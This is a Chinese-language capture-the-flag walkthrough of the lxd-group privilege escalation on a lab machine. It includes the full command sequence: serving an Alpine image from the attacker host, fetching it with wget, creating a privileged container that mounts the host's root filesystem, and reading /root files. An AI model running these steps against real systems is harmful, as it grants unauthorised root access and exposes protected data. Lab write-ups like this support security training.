1. 漏洞介绍
通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。这种特性与该用户是否已被授权sudo权限无关,而且全程也无需用户输入密码。研究人员表示,LXD SNAP包中甚至也存在这样的漏洞。
LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击。
其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,而本文讨论的也是这项技术。一旦成功,攻击者就可以将低权限的用户提升为root权限,并且能够在不受任何限制的情况下访问目标系统的各种数据资源。
=总之原理就是=
=就是用用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权=
2. LXD和LXC
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。
3. 提权实战
3.1 环境介绍
靶机 192.168.56.119 hacksudo3 靶机 =不出网=
攻击机 kali 192.168.56.137
3.2 漏洞利用前提
3.2.1 id 查看用户所属组
可以看到 所属组有lxd组
3.2.2 which lxd lxc
查看靶机lxd,lxc两个二进制文件是否存在
存在
3.2.3 攻击机操作
-
通过git将构建好的alpine镜像克隆至本地;
git clone https://github.com/saghul/lxd-alpine-builder.git
-
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;
cd lxd-alpine-builder sudo ./build-alpine
-
将tar文件发送至目标设备;
下载好后 启动python http访问
python3 -m http.server 80
3.2.4 靶机操作
靶机操作:
-
下载攻击机上的alpine-v3.15-x86_64-20220124_1022.tar.gz
wget http://192.168.56.137/alpine-v3.15-x86_64-20220317_1435.tar.gz
-
导入镜像并初始化镜像
lxc image import ./alpine-v3.15-x86_64-20220317_1435.tar.gz --alias test lxc init test test -c security.privileged=true
报错了 说没有初始化lxd init 一路回车
lxc init test test -c security.privileged=true 初始化镜像
-
挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
-
启动镜像并进入镜像访问任意文件
lxc start test lxc exec test /bin/sh id cd /mnt/root ls cd /root cat proof.txt cat root.txt